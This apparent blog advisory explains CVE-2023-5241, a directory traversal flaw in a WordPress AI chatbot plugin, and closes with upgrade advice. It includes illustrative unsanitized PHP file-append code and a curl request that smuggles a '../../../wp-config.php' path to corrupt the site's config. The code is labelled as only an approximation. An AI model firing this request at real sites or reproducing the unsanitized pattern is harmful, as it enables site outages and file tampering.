CVE-2023-5241 - How A Simple Directory Traversal Vulnerability in AI ChatBot for WordPress Could Break Your Site

WordPress plugins are a goldmine for hackers, especially when it comes to plugins that handle file uploads or manipulation. One recent, under-the-radar example is a vulnerability found in the popular AI ChatBot for WordPress plugin, tracked as CVE-2023-5241.

This long-read will walk you through the vulnerability, how it works, show you the dangerous code, and explain how an attacker could exploit it to potentially take down your WordPress site.

What is CVE-2023-5241?

*CVE-2023-5241* is a Directory Traversal vulnerability that exists in the AI ChatBot for WordPress plugin up to and including version 4.8.9 as well as version 4.9.2.

The flaw is in the qcld_openai_upload_pagetraining_file function, which fails to securely process and sanitize user input. This allows attackers, even those with just "subscriber" level privileges, to append arbitrary PHP content (such as <?php) to any file on the server.

The real danger? Someone could cause a Denial-of-Service (DoS) by breaking critical files, like wp-config.php — effectively crashing your WordPress site.

Anyone with a basic subscriber account can exploit this.

- Restoring your site from a DoS after this attack may be tricky, especially if your server config files are corrupted.
- If an attacker can append <?php (the PHP opening tag) to a sensitive file, they could potentially escalate this into Remote Code Execution (RCE) depending on server settings (though this exploit specifically covers DoS).

Let’s break down how the vulnerability happens.

The plugin’s qcld_openai_upload_pagetraining_file function is supposed to handle uploads for chatbot "training" materials. But, it fails to sanitize the file path and the content to append.

Here’s an example of what the insecure code might look like

if (isset($_POST['file_path']) && isset($_POST['content_to_append'])) {
    $file = $_POST['file_path'];
    $content = $_POST['content_to_append'];
    file_put_contents($file, $content, FILE_APPEND);
    echo "File updated!";
}

With this code, a user could specify any file on the server (like ../../../wp-config.php) as the target and append any code they want.

Let’s see how an attacker could exploit this.

Step 1: Login to the WordPress site as a basic "subscriber" user (no admin needed).

Step 2: Send a POST request to the vulnerable endpoint.

Here’s a cURL command that shows what an attacker might do

curl -X POST "https://victim-site.com/wp-admin/admin-ajax.php?action=qcld_openai_upload_pagetraining_file"; \
  -d "file_path=../../../wp-config.php" \
  -d "content_to_append=<?php"

What happens? The string <?php gets appended to the end of wp-config.php. When PHP tries to load this file, the presence of an extra PHP open tag in the config can break your site immediately, showing an error or making it unusable.

1. Denial-of-Service (DoS)

Appending <?php to a config or core PHP file will usually break the parsing of the file, leading to errors that crash the site.

2. Potential for Code Execution

If attackers got more creative, there’s a scenario where—with additional vulnerabilities present—they might try to inject working PHP code into an include path. That can lead up to Remote Code Execution.

Mitigation: What Should You Do?

Upgrade the plugin immediately. According to the original disclosure on Patchstack, the issue is fixed in version 4.9.3.

Additionally, check for unfamiliar content in critical files like wp-config.php. Restore them from backup if you notice tampering.

References

- Official CVE Record
- Patchstack Vulnerability Database: CVE-2023-5241
- Plugin’s WordPress Page

Wrap-up: The Takeaway

CVE-2023-5241 is another reminder of how dangerous insecure file handling is, even in WordPress plugins that seem innocent. If you run AI ChatBot for WordPress, or any plugin that lets users provide file paths or file content, always keep them updated and scan for vulnerabilities.

A small oversight in one function can lead to your entire site going down. Always validate and sanitize user input. Hackers rarely need admin access if code lets them do anything as "just a subscriber."

Stay safe, update, and monitor your WordPress site!

Timeline

Published on: 10/19/2023 06:15:11 UTC
Last modified on: 12/22/2023 19:02:58 UTC